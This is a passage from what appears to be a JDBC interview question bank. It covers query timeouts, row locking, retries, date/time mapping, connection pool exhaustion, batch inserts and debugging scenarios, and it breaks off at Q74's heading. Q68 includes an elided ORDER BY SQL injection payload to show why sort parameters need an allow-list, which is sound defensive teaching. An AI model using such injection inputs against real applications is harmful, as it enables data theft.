JDBC provides `Statement.setQueryTimeout(seconds)`, which the driver implements by cancelling the query (often via a timer thread and a second connection). Databases have their own settings: PostgreSQL `lock_timeout`, `statement_timeout`; MySQL `innodb_lock_wait_timeout`, `max_execution_time`; Oracle `DDL_LOCK_TIMEOUT`, resource limits.

- Network `socketTimeout` / `oracle.net.READ_TIMEOUT` is a last resort for hung connections; it should exceed the longest legitimate query.
- Set DB-side timeouts via connection init SQL or URL: `jdbc:postgresql://h/db?options=-c%20statement_timeout=5000`.
- A timeout produces `SQLTimeoutException` (or a vendor SQLState such as `57014`).

FOLLOW-UP TRAPS

- **Does `setQueryTimeout` always stop the server-side work?** Usually it sends cancel, but a blocked network or unresponsive server may not respond promptly.
- **Is `setQueryTimeout(0)` unlimited?** Yes, it means no timeout.

#timeouts #locking

Q36 How do SELECT FOR UPDATE, NOWAIT and SKIP LOCKED work? INTERMEDIATE

`SELECT ... FOR UPDATE` locks the selected rows until the transaction ends. `NOWAIT` fails immediately if a row is locked; `SKIP LOCKED` ignores locked rows, which makes it a good fit for work queues. Available in PostgreSQL 9.5+, MySQL 8.0+, Oracle.

```
select id, payload from jobs
where status = 'NEW'
order by id
limit 10
for update skip locked;
```

- Needs `autoCommit=false`; the lock is released at commit/rollback, so keep the transaction short.
- Multiple workers can poll the same table without blocking each other.

FOLLOW-UP TRAPS

- **Does auto-commit hold the lock after the statement?** No; it commits immediately, releasing the lock.
- **Is `SKIP LOCKED` consistent for reporting?** No; it deliberately returns an inconsistent subset.

#locking #for-update #skip-locked

Q37 How does optimistic locking work with plain JDBC? INTERMEDIATE

Add a `version` column; read it with the row, then update with `WHERE id = ? AND version = ?` and `SET version = version + 1`. If `executeUpdate()` returns 0, someone else changed the row first: reload and retry, or fail.

```
String sql = "update account set balance = ?, version = version + 1 where id = ? and version =
?";
// ps.executeUpdate() == 0  ->  concurrent modification
```

- No row locks are held during user think time, so it scales well with low contention.
- Pessimistic locking (`FOR UPDATE`) is better when conflicts are frequent.

> **FOLLOW-UP TRAPS**
> - **What does `executeUpdate` returning 0 mean here?** Zero rows matched: version changed or the row was deleted.
> - **Does MySQL report matched or changed rows?** Connector/J reports matched ("found") rows by default; with `useAffectedRows=true` it reports only rows actually changed, so an update that sets identical values returns 0.

#optimistic-locking #concurrency

Q38 How should you classify SQLExceptions for retries? ADVANCED

Use the JDBC 4 hierarchy: `SQLTransientException` subclasses (`SQLTransientConnectionException`, `SQLTimeoutException`, `SQLTransactionRollbackException`) may succeed on retry; `SQLNonTransientException` (syntax error, `SQLIntegrityConstraintViolationException`) will not; `SQLRecoverableException` needs a new connection. Use `getSQLState()` (portable, 5 chars) and `getErrorCode()` (vendor) for finer detail.

- SQLState class `40` = transaction rollback (deadlock `40001` / `40P01`, serialization failure `40001`), `08` = connection exception, `23` = integrity violation (`23505` unique).
- Check `getNextException()` / `getCause()` and the chain; batch errors nest.
- Drivers do not all populate the subclass; SQLState is more reliable.

> **FOLLOW-UP TRAPS**
> - **Should I retry on unique violation?** No, it is deterministic (unless you are doing an upsert-race fix-up read).
> - **What is `getSQLState` for?** A standard code; first two chars indicate the class.

#sqlexception #retry #sqlstate

Q39 How do you make database retries safe (idempotency)? ADVANCED

Retry the entire transaction on a fresh connection, only for transient errors, with bounded attempts and jittered backoff. Make the operation idempotent so a retry after an unknown outcome (timeout during commit) does not duplicate effects.

- Use an idempotency key with a unique constraint: `insert ... on conflict do nothing` (PostgreSQL) / `insert ignore` / `merge`.
- Prefer set-based updates (`set status='PAID' where id=? and status='NEW'`) over increments computed in app code.
- If `commit()` throws a connection error, the outcome is unknown: check state before retrying.
- Do not retry inside an outer transaction; retry at the outermost boundary.

> **FOLLOW-UP TRAPS**
> - **Is retrying a failed `INSERT` safe?** Only with a natural or idempotency key; otherwise you may duplicate.
> - **Why retry the whole transaction rather than the statement?** The failed transaction has been rolled back (or is aborted), so earlier statements are lost.

#retry #idempotency

Q40 How are Java date/time types mapped in JDBC? INTERMEDIATE

Since JDBC 4.2 (Java 8) use `setObject` / `getObject` with `java.time` types: `LocalDate` <-> `DATE`, `LocalTime` <-> `TIME`, `LocalDateTime` <-> `TIMESTAMP`, `OffsetDateTime` <-> `TIMESTAMP WITH TIME ZONE`. The legacy `java.sql.Date/Time/Timestamp` are mutable and timezone-sensitive.

```
ps.setObject(1, LocalDate.of(2026, 1, 31));
LocalDateTime t = rs.getObject("created_at", LocalDateTime.class);
OffsetDateTime o = rs.getObject("paid_at", OffsetDateTime.class);
```

- `Instant` is not required to be supported by JDBC; use `OffsetDateTime` at UTC (PostgreSQL rejects `setObject(Instant)`).
- Store instants as UTC `timestamptz` / `TIMESTAMP` and convert at the edges.
- `java.sql.Timestamp.toLocalDateTime()` uses the JVM default zone.

FOLLOW-UP TRAPS

- **`TIMESTAMP` vs `TIMESTAMP WITH TIME ZONE` in PostgreSQL?** `timestamptz` stores an absolute instant (normalized to UTC); `timestamp` has no zone.
- **Does MySQL `TIMESTAMP` store the zone?** No, it converts to UTC using the session time zone; `DATETIME` stores it as is.

#datetime #java-time #jdbc42

Q41 What goes wrong with time zones between the JVM, driver and database? ADVANCED

Legacy `Timestamp` / `Calendar` mapping interprets values in the JVM default zone, and the driver may also apply a session or server zone, so the same value can shift by hours when the JVM zone differs from the DB's, or at DST boundaries.

- Run JVMs in UTC (`-Duser.timezone=UTC`) and keep `timestamptz`/UTC columns.
- MySQL Connector/J 8: `connectionTimeZone`, `forceConnectionTimeZoneToSession` (older: `serverTimezone`, `useLegacyDatetimeCode`).
- PostgreSQL JDBC sets session `TimeZone` to the JVM zone.
- Use `LocalDateTime` only for wall-clock values without meaning of instant (e.g. store opening time).

FOLLOW-UP TRAPS

- **Why does a date appear one day earlier in the JSON?** A `java.sql.Date` (midnight local) converted across zones; use `LocalDate`.
- **Is it safe to use `LocalDateTime` for event times?** No, the instant is ambiguous across zones and during DST overlaps.

#datetime #timezone

Q42 How do you bind NULL values and typed parameters? BASIC

Use `setNull(index, Types.X)` for explicit NULL, or `setObject(index, value, Types.X)`. `setString(i, null)` also works for most drivers, but a typeless `setObject(i, null)` can fail (PostgreSQL, Oracle) because the driver cannot infer the type.

- Use `setObject(i, x, Types.TIMESTAMP_WITH_TIMEZONE)` to be explicit with `java.time`.
- Comparing to NULL with `= ?` never matches; use `IS NULL` or `IS NOT DISTINCT FROM` (PostgreSQL).
- Primitive wrappers require a null check before `setInt(i, wrapper)` (NPE on unboxing).

FOLLOW-UP TRAPS

- **Does `where col = ?` with NULL return rows with NULL?** No, `= NULL` is unknown.
- **Do the setter indexes start at 0?** No, they start at 1.

#preparedstatement #null #types

Q43 How do you handle variable-length IN lists? INTERMEDIATE

Generate one `?` per element (`IN (?,?,?)`) and bind each, or use an array parameter (PostgreSQL `= ANY(?)` with `createArrayOf`). Cap the list size and chunk beyond it, because of driver/DB limits (Oracle 1000 expressions, PostgreSQL/SQL Server ~32k/2100 bind parameters).

```
String marks = String.join(",", Collections.nCopies(ids.size(), "?"));
String sql = "select id, name from users where id in (" + marks + ")";
```

- An empty list yields invalid SQL `IN ()`: short-circuit and return empty.
- Varying SQL text per list size pollutes the statement cache; pad to power-of-two sizes if needed.

FOLLOW-UP TRAPS

- **Can `setString(1, "1,2,3")` fill an IN list?** No, it is one string value.
- **Is `IN` with 5000 values fine?** Usually inefficient or over limits; use a temp table, join or chunking.

#in-clause #preparedstatement

Q44 What is the difference between execute, executeQuery and executeUpdate? BASIC

`executeQuery` returns a `ResultSet` and is for SELECT; `executeUpdate` returns the affected row count (`int`) for INSERT/UPDATE/DELETE/DDL; `execute` returns `boolean` (true if first result is a `ResultSet`) for unknown or multiple results.

- Calling `executeQuery` on DML throws `SQLException` (and vice versa on most drivers).
- With `execute`, iterate: `getResultSet()`, `getUpdateCount()`, `getMoreResults()`.
- `executeLargeUpdate` returns `long`.

FOLLOW-UP TRAPS

- **What does `executeUpdate` return for DDL?** 0.
- **What does `executeQuery` return for a query with no rows?** An empty `ResultSet`, never `null`.

#statement #execute

Q45 How do queryTimeout, socket timeout and pool timeouts interact? ADVANCED

Layered timeouts: pool `connectionTimeout` (wait for a connection) -> `queryTimeout` (per statement cancel) -> lock/statement timeout on the server -> `socketTimeout` (no bytes from server) -> transaction-level timeouts (Spring `@Transactional(timeout=)`). Each protects against a different failure.

- Order them so inner ones fire first: `queryTimeout` < `socketTimeout`; request deadline > pool wait + query time.
- Without a socket timeout, a silently dropped TCP connection can hang a thread for the OS timeout (minutes).
- Spring's transaction timeout only applies to the next statement execution; it does not interrupt running SQL.

FOLLOW-UP TRAPS

- **If the socket times out, is the connection reusable?** No; the driver should mark it broken and the pool evicts it.
- **Does `@Transactional(timeout=5)` kill a 30 s query?** No, it only sets the query timeout for later statements.

#timeouts #hikaricp

Q46 How do distributed (XA) transactions work in JDBC? ADVANCED

An `XADataSource` yields `XAConnection`s whose `XAResource` participates in two-phase commit (prepare, then commit/rollback) coordinated by a transaction manager (Atomikos, Narayana, JTA in app servers) across several resources.

- Costs: extra log writes and locks held longer; in-doubt transactions need recovery.
- Many microservice designs prefer sagas, outbox and idempotent consumers instead.
- Not every pool supports XA; HikariCP does not.

FOLLOW-UP TRAPS

- **Does `setAutoCommit(false)` on two connections make a transaction across both?** No, commits are independent and one may fail after the other succeeded.
- **Is XA free of failure windows?** No; crashes between prepare and commit leave in-doubt branches.

#xa #distributed-transactions

Q47 What does Spring do around JDBC (JdbcTemplate and transaction binding)? INTERMEDIATE

`JdbcTemplate` handles acquisition/release of connections, statements and exceptions, translating `SQLException` into the unchecked `DataAccessException` hierarchy. `DataSourceTransactionManager` binds a connection to the current thread (`TransactionSynchronizationManager`) so all `JdbcTemplate` calls in the transaction reuse it.

- Without a transaction, each `JdbcTemplate` call borrows and returns its own connection (auto-commit).
- `DataSourceUtils.getConnection(ds)` participates in the thread-bound connection; `ds.getConnection()` directly does not.
- Wrapping with `TransactionAwareDataSourceProxy` makes legacy code transaction aware.

FOLLOW-UP TRAPS

- **Two `JdbcTemplate` calls in a method without `@Transactional` - one connection?** Not guaranteed; usually two separate borrows.
- **What happens when bypassing `DataSourceUtils` inside a transaction?** You get a second connection, outside the transaction.

#spring #jdbctemplate #transactions

Q48 Which Java types map to which SQL numeric types, and why is BigDecimal used for money? BASIC

`SMALLINT` / `INTEGER` / `BIGINT` -> `short` / `int` / `long`; `REAL` / `DOUBLE` -> `float` / `double`; `NUMERIC` / `DECIMAL` -> `BigDecimal`. Money must use `NUMERIC` / `BigDecimal` since binary floating point cannot represent decimals like 0.1 exactly.

- Use `rs.getBigDecimal("amount")` and `ps.setBigDecimal`.
- Watch scale: `NUMERIC(10,2)` rounds on insert; Oracle `NUMBER` without scale may produce large or odd scales.
- Do not do `new BigDecimal(0.1)`; use `BigDecimal.valueOf(0.1)` or a string.
- Unsigned `BIGINT` in MySQL can overflow `long`: it maps to `BigInteger`.

FOLLOW-UP TRAPS

- **Why not `double` for amounts?** Rounding errors accumulate.
- **Does `getInt` on a `BIGINT` column fail?** It throws or truncates when out of range, depending on the driver.

#types #bigdecimal

Q49 How does keyset (seek) pagination differ from OFFSET at the JDBC level? INTERMEDIATE

`OFFSET n LIMIT m` makes the database walk and discard n rows each page, so deep pages get slow and unstable under concurrent inserts. Keyset pagination remembers the last seen key and queries `WHERE (created_at, id) > (?, ?) ORDER BY created_at, id LIMIT m`, using an index seek.

- Needs a deterministic, unique sort key (add `id` as tie-breaker) and a matching composite index.
- Cannot jump to arbitrary page numbers; suits infinite scroll, exports and batch jobs.
- Row-value comparison works in PostgreSQL and MySQL 8; elsewhere expand to `a > ? OR (a = ? AND id > ?)`.

FOLLOW-UP TRAPS

- **Why include `id` in the order by?** Ties on the timestamp would skip or repeat rows.
- **Is total count cheap with keyset?** No, `count(*)` is a separate (often expensive) query.

#pagination #performance

Q50 How does the ResultSet interact with the Statement that created it? INTERMEDIATE

Each `Statement` has at most one current `ResultSet` (per result of `execute`). Re-executing the statement or closing it closes the previous `ResultSet`; reading afterwards throws `SQLException: ResultSet closed` (or "Operation not allowed after ResultSet closed").

- Use separate `PreparedStatement`s when interleaving nested loops over two result sets.
- MySQL streaming forbids another statement on the same connection until the result is fully read or closed.
- Closing the `Statement` before consuming rows is a common bug when returning a `ResultSet` from a method.

FOLLOW-UP TRAPS

- **Can you return a `ResultSet` from a try-with-resources method?** No, it is closed on exit; map to objects inside.
- **Is `ResultSet` thread-safe?** No; it is bound to a connection and not to be shared.

#resultset #statement

Q51 What is a RowSet and when would you use CachedRowSet? ADVANCED

`javax.sql.rowset.RowSet` extends `ResultSet` with JavaBean properties and events. `CachedRowSet` is a disconnected, serializable, scrollable copy of data that can be modified offline and synced back with `acceptChanges()`, which uses optimistic conflict detection.

- Created with `RowSetProvider.newFactory().createCachedRowSet()`.
- Holds all rows in memory, so unsuitable for large results.
- Rarely used in modern services; DTO mapping with `JdbcTemplate`/jOOQ/ORM is the norm.

FOLLOW-UP TRAPS

- **Does a `CachedRowSet` keep the connection open?** No, only briefly while populating and syncing.
- **Is a `RowSet` memory efficient?** No; it caches everything.

#rowset #disconnected

Q52 What are prepared statement caches and how can they cause trouble? ADVANCED

Drivers (PostgreSQL `preparedStatementCacheQueries`, Connector/J `cachePrepStmts`, Oracle implicit cache) cache prepared statement handles per connection, so repeated SQL skips the parse step. Pools like Hikari deliberately do not cache statements, leaving that to the driver.

- Schema changes can invalidate cached plans: PostgreSQL raises `cached plan must not change result type` after `ALTER TABLE` changing columns (the driver retries in autocommit only).
- PostgreSQL generic-plan switching after 5 executions can pick a bad plan for skewed data (`plan_cache_mode`).
- Memory: each connection caches separately, so pool size multiplies cache size.

FOLLOW-UP TRAPS

- **Why does an `ALTER TABLE` break a running service?** Cached plans with the old row shape raise errors until connections reset.
- **Does HikariCP cache statements?** No.

#statement-cache #preparedstatement

Scenarios

Q53 Production logs show `Connection is not available, request timed out after 30000ms`. How do you debug it? INTERMEDIATE

The pool had no free connection for `connectionTimeout`. Either connections are leaked, held too long, or demand exceeds pool capacity. Determine which before touching the pool size.

- Enable Hikari metrics (`hikaricp_connections_active/pending/usage_seconds`) and log `leakDetectionThreshold`.
- Take thread dumps: threads parked in `HikariPool.getConnection` are waiters; threads holding connections show where they are stuck (HTTP call, lock wait, slow query).
- On the DB (`pg_stat_activity`, `SHOW PROCESSLIST`) look for `idle in transaction` sessions or long queries from this app.
- Active == max with idle-in-transaction sessions means leaked or long-held connections; active near max with real queries means DB is slow or pool is too small.

> **FOLLOW-UP TRAPS**
> - **Is raising `maximumPoolSize` the fix?** Often it just moves the bottleneck to the database; find the cause first.
> - **What does `idle in transaction` imply?** The app opened a transaction and is not sending statements (leak, remote call inside transaction).

#pool-exhausted #hikaricp #debugging

Q54 A method forgets to close a Connection on an error path. What are the symptoms and the fix? BASIC

Each failing call permanently removes one connection from the pool; after `maximumPoolSize` failures every caller times out waiting. The service works until the error rate accumulates, then hangs entirely.

```
// buggy
Connection c = ds.getConnection();
PreparedStatement ps = c.prepareStatement(sql);
ps.executeUpdate();     // throws -> connection never closed
c.close();
```

- Fix with try-with-resources so close runs on every path.
- Leak detection logs the borrowing stack trace, pointing at the method.

> **FOLLOW-UP TRAPS**
> - **Does GC reclaim an abandoned pooled connection?** No, the pool still holds a strong reference to it.
> - **Does the problem go away on restart?** Temporarily; it returns whenever the failure path is hit.

#leak #try-with-resources

Q55 A service holds a connection while calling a remote HTTP API inside a transaction. What happens under load? INTERMEDIATE

Connection hold time becomes database time plus network latency of the remote call. With 20 connections and a 500 ms remote call, throughput caps near 40 requests/second, and a slow dependency exhausts the pool, taking down unrelated endpoints.

- Do the remote call before opening the transaction or after commit.
- If atomicity with a message is required, use the outbox pattern: write the event in the same DB transaction and publish asynchronously.
- Spring Boot's `spring.jpa.open-in-view` has a similar effect by holding a connection through view rendering.

FOLLOW-UP TRAPS

- **Will a bigger pool fix it?** It postpones saturation and shifts load to the DB.
- **Does `@Transactional` hold the connection from method start?** With Spring `DataSourceTransactionManager` yes, from the transaction begin, though lazy-acquisition proxies can delay it.

#transactions #pool-exhausted #design

Q56 Code opens a second connection inside a transaction that already holds one. What can go wrong? ADVANCED

Under load every thread holds one connection and waits for a second, so when all connections are taken, no thread can progress: a pool-level deadlock until `connectionTimeout` expires. The second connection is also a different transaction: it cannot see uncommitted rows of the first and may block on its locks.

- Pass the same `Connection` (or use Spring-managed access) to participate in one transaction.
- If a separate transaction is intentional (audit log), keep that pool separate or use `REQUIRES_NEW` knowingly with enough pool headroom (pool >= threads x 2).

FOLLOW-UP TRAPS

- **Why is it fine in dev and fails in production?** Dev concurrency is lower than pool size, so the cycle never forms.
- **Can the second connection see rows inserted by the first, uncommitted?** No, not at READ COMMITTED or above.

#pool-exhausted #deadlock #transactions

Q57 A query was fast in dev but takes 30 s in production. How do you investigate? INTERMEDIATE

Capture the exact SQL and parameter values, run `EXPLAIN (ANALYZE, BUFFERS)` (PostgreSQL) or `EXPLAIN ANALYZE` (MySQL 8) on production-sized data, and look for sequential scans, wrong join order, misestimated rows and lock waits.

- Check data volume and statistics (`ANALYZE`), missing or unused indexes, implicit casts that defeat indexes (`where varchar_col = ?` bound as number, or `setString` on a numeric column).
- A function on an indexed column (`where lower(email) = ?`) needs a functional index.
- Compare plan with first parameters: PostgreSQL generic plans after 5 executions can differ from custom plans.
- Look at the DB's `pg_stat_statements`/slow query log to see whether it is CPU, I/O or waiting on locks.

FOLLOW-UP TRAPS

- **The same SQL is fast in psql but slow via JDBC. Why?** Generic prepared plan, different parameter types, different `fetchSize`/network, or session settings.
- **Does adding an index always help?** Not for low-selectivity predicates or small tables; it also slows writes.

#slow-query #explain #debugging

Q58 After a database failover or restart, the app throws `Connection reset` / `This connection has been closed` for a while. Why, and how do you reduce it? INTERMEDIATE

The pool still holds sockets opened to the old server. Hikari validates on borrow only if the connection was idle longer than 500 ms and detects death via `isValid`, but in-flight and recently-used connections fail on first use.

- Set `maxLifetime` and `keepaliveTime` below infrastructure idle limits; Hikari evicts broken connections on fatal `SQLException`s.
- Set `socketTimeout`/TCP keepalive so half-open connections fail fast.

- Use DNS/cluster endpoints with short TTL (JVM `networkaddress.cache.ttl`), or a driver with failover support (AWS Advanced JDBC Wrapper, MariaDB failover).
- Retry idempotent transactions once on `SQLTransientConnectionException`/SQLState `08xxx`.

FOLLOW-UP TRAPS

- **Does the pool know the DB failed over?** Only when a connection fails or validation fails.
- **Is JVM DNS caching relevant?** Yes; with a security manager the default TTL is infinite, otherwise 30 s.

#stale-connection #failover #hikaricp

Q59 MySQL connections die with `Communications link failure` after hours of idleness. Why? INTERMEDIATE

MySQL closes idle connections after `wait_timeout` (default 8 hours), and firewalls/NAT/load balancers often drop idle TCP flows even sooner (e.g. 350 s on AWS NLB, 4 min on Azure). The pool then hands out dead connections.

- Set Hikari `maxLifetime` below the smallest of `wait_timeout` and network idle timeouts (e.g. 25 min vs DB 30 min).
- Use `keepaliveTime` (e.g. 5 min) to keep flows alive.
- Hikari warns when `maxLifetime` exceeds the server's timeout.

FOLLOW-UP TRAPS

- **Should you rely on `autoReconnect=true`?** No; it can silently lose transaction state and session variables, and is discouraged.
- **Is a `connectionTestQuery` needed?** Not with JDBC 4 drivers; `isValid()` is used.

#stale-connection #mysql #wait_timeout

Q60 200 request threads share a pool of 10 connections. Is that a problem? INTERMEDIATE

Not necessarily. If each request holds a connection for 10 ms, 10 connections serve about 1000 requests/second. Threads wait briefly in the pool queue; this acts as useful back-pressure for the DB.

- It becomes a problem when the hold time rises (slow queries, remote calls in transactions) or most requests need a connection at once.
- Check `hikaricp_connections_pending` and acquire time; if pending is regularly above zero for long periods, investigate hold time first.
- Tuning sequence: shorten transactions, add indexes, then raise the pool within DB capacity.

FOLLOW-UP TRAPS

- **Should the pool match the thread count?** No; that would overload the database with concurrent queries.
- **What is a healthy acquire wait?** Low single-digit milliseconds on average.

#sizing #hikaricp #concurrency

Q61 40 pods each use `maximumPoolSize=20`. The DB `max_connections` is 500. What happens at deployment time? ADVANCED

40 x 20 = 800 potential connections exceeds 500; surplus attempts fail with `FATAL: sorry, too many clients already` (PostgreSQL) or `Too many connections` (MySQL). During rolling deploys old and new pods overlap, so the peak is even higher.

- Cap by `total_connections = pods_max * pool`; shrink per-pod pool (e.g. 8), add a pooler (PgBouncer/RDS Proxy), or reduce replicas.
- Reserve connections for admin, migrations and monitoring (`superuser_reserved_connections`).
- Make Hikari `minimumIdle` = `maximumPoolSize` only if you can afford that always-open count; otherwise let it shrink.

FOLLOW-UP TRAPS

- **Does the pool open all 20 connections at startup?** With default minimumIdle = max, yes, it fills the pool in the background.
- **Does HPA autoscaling change the math?** Yes, use the maximum replica count.

#sizing #max-connections #deployment

Q62 A batch of 10,000 inserts fails at row 5,000 due to a constraint violation. What happens to the earlier rows? INTERMEDIATE

It depends on the transaction. With auto-commit on, drivers may commit chunks or each statement; with `autoCommit=false` and a rollback on failure, none persist. `BatchUpdateException.getUpdateCounts()` shows which succeeded: PostgreSQL stops at the first failure, MySQL may continue or stop (`continueBatchOnError`), Oracle continues.

```
try {
    ps.executeBatch();
    c.commit();
} catch (BatchUpdateException e) {
    c.rollback();
    int[] done = e.getUpdateCounts();
}
```

- For partial success semantics, split into smaller chunks with per-chunk commits and record failed chunks.
- Inspect `e.getNextException()` for the real cause (PostgreSQL wraps it).

FOLLOW-UP TRAPS

- **Is `getUpdateCounts().length` always the failing index?** Only on drivers that stop at the first error; others return one entry per statement.
- **Is the batch atomic by default?** No; only the transaction makes it atomic.

#batch #transactions #error-handling

Q63 Would 1 million batch inserts in a single transaction be a good idea? ADVANCED

Risky: long transactions hold locks and bloat undo/WAL, fail all-or-nothing, and one error loses everything. Commit in chunks (e.g. 1000-10000 rows) and use the fastest bulk path available.

- Enable rewrite flags (`rewriteBatchedStatements`, `reWriteBatchedInserts`).
- Fastest options: PostgreSQL `COPY` via `CopyManager`, MySQL `LOAD DATA LOCAL INFILE`, Oracle direct-path/array insert, SQL Server bulk copy.
- Drop or defer secondary indexes and constraints for one-time loads when allowed.
- Make the job restartable using a checkpoint/idempotent upsert.

FOLLOW-UP TRAPS

- **Does a larger batch always speed things up?** Gains flatten after a few thousand; memory and lock duration grow.
- **Is `executeBatch` faster than `COPY`?** No, `COPY` is typically several times faster.

#batch #bulk-load #performance

Q64 After an exception is caught and logged, the code continues using the connection and later commits. What is the risk in PostgreSQL? ADVANCED

In PostgreSQL a failed statement marks the transaction aborted: every subsequent statement fails with `current transaction is aborted, commands ignored until end of transaction block`, and `commit()` effectively performs a rollback (no exception from the driver in some versions).

- Swallowing the exception hides data loss: the code believes it committed.

- Use a savepoint around statements whose failure you tolerate, or `autosave=conservative` in the URL.
- MySQL/Oracle keep the transaction usable after a statement-level error.

> **FOLLOW-UP TRAPS**
> - **Does `commit()` throw after an aborted transaction?** The PostgreSQL JDBC driver may silently roll back instead; verify with the driver version, and never swallow errors.
> - **Is this behaviour in MySQL too?** No, a failed statement there rolls back only that statement.

#postgresql #transactions #savepoint

Q65 A pooled connection comes back with the wrong isolation level or read-only flag. Why? ADVANCED

Session state set on a physical connection (isolation, read-only, catalog, schema, auto-commit, session variables) persists after `close()` if the pool does not reset it. HikariCP tracks and resets the standard JDBC properties (`autoCommit`, `readOnly`, `transactionIsolation`, `catalog`, `schema`) on return, but not arbitrary `SET` statements or `SET ROLE`.

- If you run `SET search_path`, `SET TIME ZONE` or temp-table creation manually, reset it in `finally` or use `connectionInitSql` for constants.
- Use `DISCARD ALL` or pooler reset queries for PostgreSQL in poolers.
- With transaction-mode poolers, session state is unreliable by design.

> **FOLLOW-UP TRAPS**
> - **Does Hikari reset session variables set with raw SQL?** No.
> - **Is it OK to change isolation per transaction?** Yes, if the pool restores it (Hikari does) and you set it before starting work.

#pooling #isolation #state-leak

Q66 Reading a 5 GB table with `select *` throws OutOfMemoryError. What do you do? INTERMEDIATE

The driver buffered the entire `ResultSet` in the heap (default for PostgreSQL with auto-commit and for MySQL). Switch to streaming/cursor mode and process row by row, or page by key.

```
c.setAutoCommit(false);               // PostgreSQL requirement
try (PreparedStatement ps = c.prepareStatement("select id, data from big",
        ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY)) {
    ps.setFetchSize(2000);
    try (ResultSet rs = ps.executeQuery()) {
        while (rs.next()) { handle(rs.getLong(1), rs.getString(2)); }
    }
}
```

- Select only needed columns; avoid collecting rows to a list.
- Heap sizing is not the fix; memory use must be bounded.

> **FOLLOW-UP TRAPS**
> - **Why did `setFetchSize` do nothing?** Auto-commit on (PostgreSQL), scrollable type used, or MySQL without `useCursorFetch`.
> - **Can a streaming read be combined with writes on the same connection?** Not on MySQL streaming; use another connection.

#oom #fetchsize #streaming

Q67 While streaming a MySQL result set you execute another query on the same connection. What happens? ADVANCED

Connector/J throws `Streaming result set ... is still active. No statements may be issued when any streaming result sets are open and in use on a given connection.` The unread rows still occupy

the protocol stream.

- Use a second connection for the nested query, or read the first result set fully (cache keys) before issuing nested queries.
- `useCursorFetch=true` with a fetch size uses server-side cursors and permits interleaving.
- Closing a streaming result set before the end makes the driver read and discard all the remaining rows, which may take long.

FOLLOW-UP TRAPS

- **Does `rs.close()` early abort the stream instantly?** No; the driver drains remaining rows (or can use `Statement.cancel()`).
- **Is this issue in PostgreSQL too?** No, cursors allow interleaving on the same connection.

#mysql #streaming #resultset

Q68 A search endpoint concatenates `sort` and `direction` request parameters into ORDER BY. Is it safe if the data values use `PreparedStatement`? BASIC

No. Identifiers and keywords cannot be bound, so `order by` + sort is injectable (e.g. `sort=(case when (select ...) then id else name end)` leaks data via side channels). Allow-list column names and directions.

```
Set<String> allowed = Set.of("id", "name", "created_at");
if (!allowed.contains(sort)) { throw new IllegalArgumentException("bad sort"); }
String dir = "desc".equalsIgnoreCase(direction) ? "DESC" : "ASC";
```

- Map public names to real column names, so internal schema is not exposed.
- Never quote-escape as a substitute.

FOLLOW-UP TRAPS

- **Would wrapping the column in quotes make it safe?** No, an attacker can include quotes.
- **Would `setString` for the sort column work?** It becomes a constant expression and the sort has no effect.

#sql-injection #order-by

Q69 A LIKE search uses `"%" + term + "%"` bound via `setString`. Is there still any risk? INTERMEDIATE

No injection, since it is bound as a value, but `%` and `_` in user input act as wildcards, so a term of `%` matches everything and a pattern like `%_%_%` can be slow (DoS). Escape wildcards and declare an escape character.

```
String escaped = term.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_");
PreparedStatement ps = c.prepareStatement("select id from items where name like ? escape '\\'");
ps.setString(1, "%" + escaped + "%");
```

- A leading `%` prevents B-tree index use; consider trigram (`pg_trgm`) or full-text indexes.
- The default escape character differs by database (MySQL `\`, PostgreSQL `\`, SQL Server none).

FOLLOW-UP TRAPS

- **Does binding stop wildcard abuse?** No, wildcards are semantic, not syntax.
- **Is `like 'abc%'` indexable?** Yes, with a B-tree and suitable collation/operator class.

#like #sql-injection #performance

Q70 `where id in ()` with an empty list throws a syntax error. How do you handle it? BASIC

An empty `IN ()` is invalid SQL in most databases. Check the list first and return an empty result without querying (or substitute a predicate such as `1 = 0`).

```
if (ids.isEmpty()) { return List.of(); }
```

- For `NOT IN` with an empty list the semantics are "true for all rows": skip the predicate instead.
- `NOT IN (subquery)` returns nothing if the subquery contains a NULL; prefer `NOT EXISTS`.

FOLLOW-UP TRAPS

- **What does `x NOT IN (1, NULL)` return?** Unknown for every row, so no rows.
- **Should the SQL text change with list size?** It must (one placeholder per element), unless you use an array parameter.

#in-clause #edge-case

Q71 A date saved as 2026-03-01 reads back as 2026-02-28 in another service. What happened? INTERMEDIATE

A `java.sql.Date` / `Timestamp` represents midnight in the JVM's zone. When writer and reader (or driver and server) use different zones, converting to UTC shifts the instant across midnight and the calendar date moves by a day.

- Use `LocalDate` with `setObject` / `getObject(col, LocalDate.class)` for date-only fields; no zone is involved.
- Align all JVMs to UTC and check driver zone options (`connectionTimeZone`, `serverTimezone`).
- Check for `DATETIME` vs `TIMESTAMP` column choice and API layer serialization (`Date` in JSON).

FOLLOW-UP TRAPS

- **Would storing `varchar` dates be better?** No; you lose validation, ordering semantic and index efficiency.
- **Is the DB value wrong?** Possibly right; the shift often happens when reading with a different zone.

#date #timezone #debugging

Q72 A deadlock error (SQLState 40001/40P01) appears occasionally in production. What do you do? INTERMEDIATE

Treat it as retryable: roll back, then re-run the entire transaction a bounded number of times with jittered backoff. Meanwhile find the cause and reduce the frequency.

- PostgreSQL logs both queries involved (`log_lock_waits`, deadlock details in the server log); MySQL `SHOW ENGINE INNODB STATUS` shows "LATEST DETECTED DEADLOCK".
- Typical causes: different row update order in two code paths, updating parent and child in opposite order, gap locks under REPEATABLE READ, missing index causing wider locks.
- Fixes: lock in consistent order (e.g. sort ids before updating), shorten transactions, add the index, lower isolation where acceptable.

FOLLOW-UP TRAPS

- **Which transaction does the DB abort?** Generally the cheapest to roll back (InnoDB) or the one that detected the cycle (PostgreSQL).
- **Can you retry only the failed statement?** No, the entire transaction was rolled back.

#deadlock #retry #debugging

Q73 Two services transfer money A->B and B->A concurrently and deadlock. How do you prevent it? INTERMEDIATE

Each transaction locks its own debit account first and then the credit one, forming a cycle. Always acquire locks in a global order, e.g. ascending account id, regardless of direction.

```
long first = Math.min(from, to), second = Math.max(from, to);
lock(c, first);    // select ... from account where id = ? for update
lock(c, second);
```

- Alternatively use a single atomic `UPDATE` per account with conditions, or a single statement updating both rows ordered by id.
- Retry on deadlock as a safety net.

FOLLOW-UP TRAPS

- **Does `SERIALIZABLE` remove deadlocks?** No, it can add serialization failures.
- **Does lowering transaction time remove the risk?** It reduces probability but not the possibility.

#deadlock #lock-ordering

Q74 Two requests read a balance, both subtract 10 and write back. The final balance is only reduced by 10. How do you fix this lost update? INTERMEDIATE

